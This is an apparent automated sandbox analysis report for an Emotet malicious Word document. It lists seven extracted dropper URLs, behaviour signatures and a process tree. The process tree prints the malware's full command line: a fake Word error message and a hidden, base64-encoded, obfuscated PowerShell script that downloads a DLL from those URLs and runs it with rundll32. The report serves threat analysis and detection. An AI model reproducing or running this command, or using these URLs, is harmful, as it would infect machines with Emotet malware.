Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    3s
  • max time network
    4s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28/12/2020, 19:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_91c5fe46b632170186cf706ee1dff31a8b7843207b4ab6fe0ae0a959441df5eb_2020-12-28__194608666077._doc.doc
  • Size 154KB
  • Sample201228-9bcsg78ple
  • SHA256 91c5fe46b632170186cf706ee1dff31a8b7843207b4ab6fe0ae0a959441df5eb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dr-yasser.com/wordpress/JNS/
  • exe.dropper

    http://dupuisacademy.com/projects/media/Me6bB/
  • exe.dropper

    http://siitav.net/cuim/data/2/
  • exe.dropper

    https://alabamaballdrop.com/wp-includes/kef1U/
  • exe.dropper

    http://www.savedahorses.org/wp-content/xH/
  • exe.dropper

    https://coastlinepoolspa.com/wp-content/S88uK/
  • exe.dropper

    https://cashyinvestment.org/wp-content/IH/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_91c5fe46b632170186cf706ee1dff31a8b7843207b4ab6fe0ae0a959441df5eb_2020-12-28__194608666077._doc.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4092
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgACQAOAB4AGQAUQBJAGcAPQAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAJwByAHkAJwAsACcARABJACcALAAnAFIARQBDAFQATwAnACwAJwBzAHkAUwBUAEUAbQAuAGkAbwAuACcAKQAgACAAOwAgACAAIABTAGUAdAAtAGkAdABlAE0AIAAgACgAJwBWAGEAcgBpACcAKwAnAEEAQgBsAGUAOgAnACsAJwA4AFIAZwAxACcAKQAgACgAWwB0AHkAUABFAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANgB9AHsANQB9ACIALQBmACcAUwB0AEUAbQAuAE4ARQBUACcALAAnAHMAWQAnACwAJwAuAHMARQBSACcALAAnAFAATwAnACwAJwB2AGkAQwBFACcALAAnAG4AVABtAEEATgBhAGcAZQByACcALAAnAEkAJwApACAAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQBsACcAKwAnAGUAbgAnACkAKwAnAHQAJwArACcAbAAnACsAKAAnAHkAQwBvAG4AJwArACcAdABpACcAKwAnAG4AdQBlACcAKQApADsAJABTADkAdQA1AG8AMQB6AD0AJABUADUAMQBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABGADcANABFADsAJABaADEAMgBHAD0AKAAnAFYAJwArACgAJwBfACcAKwAnADQAWQAnACkAKQA7ACAAIAAkADgAWABEAHEAaQBHADoAOgAiAGMAcgBgAGUAYQBgAFQAZQBkAGkAUgBlAEMAdABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcARQAnACsAKAAnADMAJwArACcAbwBYADUAcwAnACkAKwAnAGcAYgAnACsAKAAnAHoAZwBFADMAJwArACcAbwBUAHMAYQAnACkAKwAoACcAZgB2ACcAKwAnAGIANgBFADMAbwAnACkAKQAuACIAUgBgAGUAUABsAGEAYwBlACIAKAAoAFsAQwBIAGEAcgBdADYAOQArAFsAQwBIAGEAcgBdADUAMQArAFsAQwBIAGEAcgBdADEAMQAxACkALAAnAFwAJwApACkAKQA7ACQAUwA3ADQASAA9ACgAJwBNACcAKwAoACcAOQAnACsAJwA2AFIAJwApACkAOwAgACAAJAA4AHIARwAxADoAOgAiAFMAYABlAEMAYABVAHIAaQBgAFQAWQBwAFIAYABvAHQATwBDAE8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQARQA4ADIAWgA9ACgAJwBBADgAJwArACcAXwBLACcAKQA7ACQAWgAwAGEAdABfAHoAMgAgAD0AIAAoACcARQAnACsAKAAnADIAJwArACcAXwBCACcAKQApADsAJABEADUANgBIAD0AKAAoACcARgA0ACcAKwAnADEAJwApACsAJwBEACcAKQA7ACQATgB4AHcANgB0AGgAMgA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFgANQBzAGcAYgAnACsAJwB6AGcAJwArACcAewAwAH0AVABzAGEAJwArACcAZgB2AGIANgB7ACcAKwAnADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABaADAAYQB0AF8AegAyACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADEAOABZAD0AKAAnAEwAMgAnACsAJwA4AFAAJwApADsAJABUAHMAMwBfAHkAOQAyAD0AKAAoACcAXQAnACsAJwBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAGQAcgAnACsAJwAtACcAKQArACcAeQAnACsAKAAnAGEAcwBzACcAKwAnAGUAcgAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBvAHIAJwApACsAJwBkAHAAJwArACcAcgAnACsAKAAnAGUAcwAnACsAJwBzAC8ASgAnACsAJwBOACcAKQArACcAUwAnACsAKAAnAC8AQABdAGIAJwArACcAMgAnACsAJwBbAHMAOgAvACcAKQArACgAJwAvACcAKwAnAGQAdQAnACkAKwAoACcAcAB1AGkAcwAnACsAJwBhAGMAYQBkAGUAJwArACcAbQB5AC4AJwArACcAYwBvAG0ALwAnACsAJwBwAHIAbwBqACcAKQArACcAZQBjACcAKwAoACcAdAAnACsAJwBzAC8AbQAnACkAKwAoACcAZQBkACcAKwAnAGkAYQAnACkAKwAoACcALwBNAGUAJwArACcANgAnACsAJwBiACcAKwAnAEIALwBAAF0AYgAyAFsAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBpACcAKQArACgAJwBpACcAKwAnAHQAYQB2AC4AJwApACsAKAAnAG4AZQB0AC8AJwArACcAYwB1AGkAJwArACcAbQAvACcAKwAnAGQAYQB0ACcAKQArACgAJwBhACcAKwAnAC8AMgAnACkAKwAoACcALwAnACsAJwBAAF0AYgAyAFsAcwBzACcAKwAnADoALwAnACkAKwAnAC8AYQAnACsAKAAnAGwAYQBiACcAKwAnAGEAbQBhAGIAYQBsACcAKwAnAGwAZAByAG8AcAAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKwAnAHcAcAAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAKAAnAGQAZQBzAC8AawAnACsAJwBlACcAKwAnAGYAMQBVAC8AQAAnACsAJwBdAGIAMgBbACcAKQArACgAJwBzACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AcwAnACsAJwBhAHYAZQBkAGEAaABvACcAKwAnAHIAJwArACcAcwBlAHMAJwArACcALgBvACcAKwAnAHIAZwAvAHcAcAAtACcAKwAnAGMAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAKAAnAHgAJwArACcASAAvACcAKQArACcAQAAnACsAJwBdAGIAJwArACgAJwAyAFsAcwAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBjAG8AYQAnACkAKwAoACcAcwAnACsAJwB0AGwAaQBuAGUAcAAnACkAKwAoACcAbwBvAGwAcwAnACsAJwBwACcAKwAnAGEALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvAFMAJwArACcAOAAnACkAKwAoACcAOAAnACsAJwB1AEsALwBAACcAKwAnAF0AYgAyAFsAJwApACsAKAAnAHMAcwAnACsAJwA6AC8AJwApACsAJwAvAGMAJwArACcAYQBzACcAKwAoACcAaAB5AGkAJwArACcAbgB2ACcAKQArACcAZQBzACcAKwAoACcAdABtACcAKwAnAGUAbgB0ACcAKQArACcALgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBnAC8AdwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AC8ASQBIACcAKwAnAC8AJwApACkALgAiAHIAZQBwAEwAQQBgAGMAZQAiACgAKAAoACcAXQAnACsAJwBiADIAJwApACsAJwBbAHMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAATABJAFQAIgAoACQASQBfADIARgAgACsAIAAkAFMAOQB1ADUAbwAxAHoAIAArACAAJABEAF8AMABHACkAOwAkAE8ANwAzAFAAPQAoACgAJwBCACcAKwAnADMAMwAnACkAKwAnAE4AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBADkAMQB6AF8AeQBjACAAaQBuACAAJABUAHMAMwBfAHkAOQAyACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPAGIAJwArACcAagBlAGMAdAAnACkAIABzAHkAUwB0AGUATQAuAE4ARQBUAC4AVwBFAGIAQwBsAGkARQBuAHQAKQAuACIAZABPAHcATgBMAGAATwBBAEQAZgBgAEkAYABMAEUAIgAoACQAQQA5ADEAegBfAHkAYwAsACAAJABOAHgAdwA2AHQAaAAyACkAOwAkAFgANwBfAEQAPQAoACcAWgBfACcAKwAnADEAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATgB4AHcANgB0AGgAMgApAC4AIgBMAEUATgBgAGcAdABoACIAIAAtAGcAZQAgADMANAA1ADYAOAApACAAewAmACgAJwByAHUAbgBkAGwAbAAzACcAKwAnADIAJwApACAAJABOAHgAdwA2AHQAaAAyACwAKAAnAEMAbwAnACsAKAAnAG4AdAByACcAKwAnAG8AbAAnACsAJwBfACcAKQArACgAJwBSAHUAbgAnACsAJwBEAEwAJwApACsAJwBMACcAKQAuACIAVABvAGAAUwB0AGAAUgBpAE4AZwAiACgAKQA7ACQATgA1ADQASwA9ACgAJwBIADQAJwArACcAMQBCACcAKQA7AGIAcgBlAGEAawA7ACQASgAwADcASAA9ACgAJwBUACcAKwAoACcAMgAnACsAJwA0AEoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMgAzAFcAPQAoACcAWgAnACsAKAAnAF8AJwArACcANABHACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    PID:4060
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgACQAOAB4AGQAUQBJAGcAPQAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAJwByAHkAJwAsACcARABJACcALAAnAFIARQBDAFQATwAnACwAJwBzAHkAUwBUAEUAbQAuAGkAbwAuACcAKQAgACAAOwAgACAAIABTAGUAdAAtAGkAdABlAE0AIAAgACgAJwBWAGEAcgBpACcAKwAnAEEAQgBsAGUAOgAnACsAJwA4AFIAZwAxACcAKQAgACgAWwB0AHkAUABFAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANgB9AHsANQB9ACIALQBmACcAUwB0AEUAbQAuAE4ARQBUACcALAAnAHMAWQAnACwAJwAuAHMARQBSACcALAAnAFAATwAnACwAJwB2AGkAQwBFACcALAAnAG4AVABtAEEATgBhAGcAZQByACcALAAnAEkAJwApACAAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQBsACcAKwAnAGUAbgAnACkAKwAnAHQAJwArACcAbAAnACsAKAAnAHkAQwBvAG4AJwArACcAdABpACcAKwAnAG4AdQBlACcAKQApADsAJABTADkAdQA1AG8AMQB6AD0AJABUADUAMQBTACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABGADcANABFADsAJABaADEAMgBHAD0AKAAnAFYAJwArACgAJwBfACcAKwAnADQAWQAnACkAKQA7ACAAIAAkADgAWABEAHEAaQBHADoAOgAiAGMAcgBgAGUAYQBgAFQAZQBkAGkAUgBlAEMAdABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcARQAnACsAKAAnADMAJwArACcAbwBYADUAcwAnACkAKwAnAGcAYgAnACsAKAAnAHoAZwBFADMAJwArACcAbwBUAHMAYQAnACkAKwAoACcAZgB2ACcAKwAnAGIANgBFADMAbwAnACkAKQAuACIAUgBgAGUAUABsAGEAYwBlACIAKAAoAFsAQwBIAGEAcgBdADYAOQArAFsAQwBIAGEAcgBdADUAMQArAFsAQwBIAGEAcgBdADEAMQAxACkALAAnAFwAJwApACkAKQA7ACQAUwA3ADQASAA9ACgAJwBNACcAKwAoACcAOQAnACsAJwA2AFIAJwApACkAOwAgACAAJAA4AHIARwAxADoAOgAiAFMAYABlAEMAYABVAHIAaQBgAFQAWQBwAFIAYABvAHQATwBDAE8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQARQA4ADIAWgA9ACgAJwBBADgAJwArACcAXwBLACcAKQA7ACQAWgAwAGEAdABfAHoAMgAgAD0AIAAoACcARQAnACsAKAAnADIAJwArACcAXwBCACcAKQApADsAJABEADUANgBIAD0AKAAoACcARgA0ACcAKwAnADEAJwApACsAJwBEACcAKQA7ACQATgB4AHcANgB0AGgAMgA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFgANQBzAGcAYgAnACsAJwB6AGcAJwArACcAewAwAH0AVABzAGEAJwArACcAZgB2AGIANgB7ACcAKwAnADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABaADAAYQB0AF8AegAyACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABFADEAOABZAD0AKAAnAEwAMgAnACsAJwA4AFAAJwApADsAJABUAHMAMwBfAHkAOQAyAD0AKAAoACcAXQAnACsAJwBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAGQAcgAnACsAJwAtACcAKQArACcAeQAnACsAKAAnAGEAcwBzACcAKwAnAGUAcgAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBvAHIAJwApACsAJwBkAHAAJwArACcAcgAnACsAKAAnAGUAcwAnACsAJwBzAC8ASgAnACsAJwBOACcAKQArACcAUwAnACsAKAAnAC8AQABdAGIAJwArACcAMgAnACsAJwBbAHMAOgAvACcAKQArACgAJwAvACcAKwAnAGQAdQAnACkAKwAoACcAcAB1AGkAcwAnACsAJwBhAGMAYQBkAGUAJwArACcAbQB5AC4AJwArACcAYwBvAG0ALwAnACsAJwBwAHIAbwBqACcAKQArACcAZQBjACcAKwAoACcAdAAnACsAJwBzAC8AbQAnACkAKwAoACcAZQBkACcAKwAnAGkAYQAnACkAKwAoACcALwBNAGUAJwArACcANgAnACsAJwBiACcAKwAnAEIALwBAAF0AYgAyAFsAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBpACcAKQArACgAJwBpACcAKwAnAHQAYQB2AC4AJwApACsAKAAnAG4AZQB0AC8AJwArACcAYwB1AGkAJwArACcAbQAvACcAKwAnAGQAYQB0ACcAKQArACgAJwBhACcAKwAnAC8AMgAnACkAKwAoACcALwAnACsAJwBAAF0AYgAyAFsAcwBzACcAKwAnADoALwAnACkAKwAnAC8AYQAnACsAKAAnAGwAYQBiACcAKwAnAGEAbQBhAGIAYQBsACcAKwAnAGwAZAByAG8AcAAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKwAnAHcAcAAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAKAAnAGQAZQBzAC8AawAnACsAJwBlACcAKwAnAGYAMQBVAC8AQAAnACsAJwBdAGIAMgBbACcAKQArACgAJwBzACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AcwAnACsAJwBhAHYAZQBkAGEAaABvACcAKwAnAHIAJwArACcAcwBlAHMAJwArACcALgBvACcAKwAnAHIAZwAvAHcAcAAtACcAKwAnAGMAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAKAAnAHgAJwArACcASAAvACcAKQArACcAQAAnACsAJwBdAGIAJwArACgAJwAyAFsAcwAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBjAG8AYQAnACkAKwAoACcAcwAnACsAJwB0AGwAaQBuAGUAcAAnACkAKwAoACcAbwBvAGwAcwAnACsAJwBwACcAKwAnAGEALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvAFMAJwArACcAOAAnACkAKwAoACcAOAAnACsAJwB1AEsALwBAACcAKwAnAF0AYgAyAFsAJwApACsAKAAnAHMAcwAnACsAJwA6AC8AJwApACsAJwAvAGMAJwArACcAYQBzACcAKwAoACcAaAB5AGkAJwArACcAbgB2ACcAKQArACcAZQBzACcAKwAoACcAdABtACcAKwAnAGUAbgB0ACcAKQArACcALgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBnAC8AdwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AC8ASQBIACcAKwAnAC8AJwApACkALgAiAHIAZQBwAEwAQQBgAGMAZQAiACgAKAAoACcAXQAnACsAJwBiADIAJwApACsAJwBbAHMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAATABJAFQAIgAoACQASQBfADIARgAgACsAIAAkAFMAOQB1ADUAbwAxAHoAIAArACAAJABEAF8AMABHACkAOwAkAE8ANwAzAFAAPQAoACgAJwBCACcAKwAnADMAMwAnACkAKwAnAE4AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBADkAMQB6AF8AeQBjACAAaQBuACAAJABUAHMAMwBfAHkAOQAyACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPAGIAJwArACcAagBlAGMAdAAnACkAIABzAHkAUwB0AGUATQAuAE4ARQBUAC4AVwBFAGIAQwBsAGkARQBuAHQAKQAuACIAZABPAHcATgBMAGAATwBBAEQAZgBgAEkAYABMAEUAIgAoACQAQQA5ADEAegBfAHkAYwAsACAAJABOAHgAdwA2AHQAaAAyACkAOwAkAFgANwBfAEQAPQAoACcAWgBfACcAKwAnADEAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATgB4AHcANgB0AGgAMgApAC4AIgBMAEUATgBgAGcAdABoACIAIAAtAGcAZQAgADMANAA1ADYAOAApACAAewAmACgAJwByAHUAbgBkAGwAbAAzACcAKwAnADIAJwApACAAJABOAHgAdwA2AHQAaAAyACwAKAAnAEMAbwAnACsAKAAnAG4AdAByACcAKwAnAG8AbAAnACsAJwBfACcAKQArACgAJwBSAHUAbgAnACsAJwBEAEwAJwApACsAJwBMACcAKQAuACIAVABvAGAAUwB0AGAAUgBpAE4AZwAiACgAKQA7ACQATgA1ADQASwA9ACgAJwBIADQAJwArACcAMQBCACcAKQA7AGIAcgBlAGEAawA7ACQASgAwADcASAA9ACgAJwBUACcAKwAoACcAMgAnACsAJwA0AEoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMgAzAFcAPQAoACcAWgAnACsAKAAnAF8AJwArACcANABHACcAKQApAA==
        2⤵
          PID:2828

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2828-5-0x00007FFFC3C80000-0x00007FFFC466C000-memory.dmp
            Download

            memory/2828-6-0x0000025967410000-0x0000025967411000-memory.dmp
            Download

            memory/2828-7-0x000002597F8B0000-0x000002597F8B1000-memory.dmp
            Download

            memory/4092-2-0x00007FFFD2160000-0x00007FFFD2797000-memory.dmp
            Download